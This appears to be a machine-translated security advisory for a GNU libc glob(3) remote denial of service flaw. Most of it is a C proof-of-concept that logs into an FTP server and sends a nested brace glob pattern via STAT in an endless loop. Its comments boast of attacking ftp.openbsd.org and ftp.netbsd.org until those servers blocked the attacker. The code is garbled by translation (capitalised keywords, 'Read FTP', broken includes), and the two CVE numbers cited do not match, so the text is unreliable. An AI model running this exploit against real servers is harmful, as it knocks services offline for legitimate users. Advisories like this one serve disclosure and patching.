GNU libc glob (3) "pattern" Remote Denial of Service Vulnerability

GNU libc glob (3) "pattern" Remote Denial of Service Vulnerability

Release date:
Updated on:

Affected Systems:
NetBSD netbsd5.1
Description:
--------------------------------------------------------------------------------
Bugtraq id: 47671
Cve id: CVE-2011-0418

Glibc is the implementation of C libraries in most Linux operating systems.

GNU libc has the glob (3) "pattern" remote denial of service vulnerability in implementation. Remote attackers can exploit this vulnerability to cause the affected computers to lose response and refuse to serve legitimate users.

<* Source: Maksymilian Arciemowicz (max@jestsuper.pl)
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

# Include <stdio. h>
# Include <stdlib. h>
# Include <string. h>
# Include <sys/types. h>
# Include <sys/socket. h>
# Include <netinet/in. h>
# Include <netdb. h>

/*
PoC for multiple vendors ftpd (libc/glob) resource exhaustion [CVE-2010-2632]

Affected Software (verified ):
-OpenBSD 4.7
-NetBSD 5.0.2
-FreeBSD 7.3/8.1
-Oracle Sun Solaris 10

Affected Vendors (not verified ):
-GNU Libc (glibc)
-Apple
-Microsoft
-HP
-More

Credit:
Maksymilian Arciemowicz
Cxib I securityreason J com

Note:
With similar script in php writed (this same pattern), we have attacked OpenBSD/NetBSD servers with result:

-Ftp.openbsd.org:
Connection refused

And in the end of attack

# Telnet ftp.openbsd.org 21
Trying 129.128.5.191...
Connected to ftp.openbsd.org.
Escape character is '^]'.
421-If you are seeing this message you have been blocked from using
421-this ftp server-most likely for processing ing content without paying
421-attention to what you were loading ing or where you should be loading ing
421-it from, or for excessive connection rates.
421-OpenBSD shoshould ** NOT * be mirrored from here, you shoshould use
421-a second level mirror as described in http://www.openbsd.org/ftp.html
421

Connection closed by foreign host.
#

-Ftp.netbsd.org:
No more access for anonymous =>
---
On 02.07.2010 20:29 CET, ftp.netbsd.org has return:
530 User ftp access denied, connection limit of 160 reached.
---

And in the end, deny for my host.

*/

Int sendftp (int stream, char * what ){
If (-1 = send (stream, what, strlen (what), 0 ))
Printf ("Can't send % s \ n", what );
Else
Printf ("send: % s \ n", what );

Bzero (what, sizeof (what ));
}

Void readftp (int stream, int len ){
Char readline [len];
If (recv (stream, readline, len, 0) <1)
Printf ("Can't read from stream \ n ");
Else
Printf ("recv: % s \ n", readline );
}

Int sendstat (host, port, login, pass, pattern)
Char * host, * port, * login, * pass, * pattern;
{
Char buffer [1024]; // send ftp command buffor
Int sockfd, n, error;
Struct addrinfo hints;
Struct addrinfo * res, * res0;

Memset (& hints, 0, sizeof (hints ));
Hints. ai_family = PF_UNSPEC;
Hints. ai_socktype = SOCK_STREAM;
Error = getaddrinfo (host, port, & hints, & res0 );

If (error ){
Errorcon:
Printf ("Can't connect \ n. exit ");
Exit (1 );
}

If (sockfd = socket (res0-> ai_family, res0-> ai_socktype, res0-> ai_protocol) <0) goto errorcon;
If (-1 = connect (sockfd, res0-> ai_addr, res0-> ai_addrlen) goto errorcon;

Read FTP (sockfd, 1024 );
Snprintf (buffer, 1024, "USER % s \ nPASS % s \ n", login, pass );
Sendftp (sockfd, buffer );
Read FTP (sockfd, 1024 );

Bzero (buffer, 1024 );
Snprintf (buffer, 1024, "stat % s \ n", pattern );
Sendftp (sockfd, buffer );
Freeaddrinfo (res0 );
}

Int main (int argc, char * argv [])
{
Char
Pattern [1024] = "{..,..,..} /*/{..,..,..} /*/{..,..,..} /*/{..,..,..} /*/{..,..,..} /*/{..,..,..} /*/{..,..,..} /*/{..,..,..} /*/{..,..,..} /*/{..,..,..} /*/{..,..,..} /* cx "; // some servers support only 1024
Char * login, * pass;
Char logindef [] = "anonymous", passdef [] = "cve_2010_2632@127.0.0.1 ";

Printf ("This is exploit for CVE-2010-2632 (libc/glob) \ nby Maksymilian Arciemowicz \ n ");

If (argc <3 ){
Printf ("Use:./exploit host port [username] [password] \ nhost and port are requied \ n ");
Exit (1 );
}

Char * host = argv [1];
Char * port = argv [2];

If (4 <= argc) login = argv [3];
Else login = logindef;

If (5 <= argc) pass = argv [4];
Else pass = passdef;

While (1 ){
Printf ("----------------------------- next \ n ");
Sendstat (host, port, login, pass, pattern );
Sleep (3); // some delay to be sure
}
Return 0; // never happen
}

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

NetBSD
------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.netbsd.org/Security/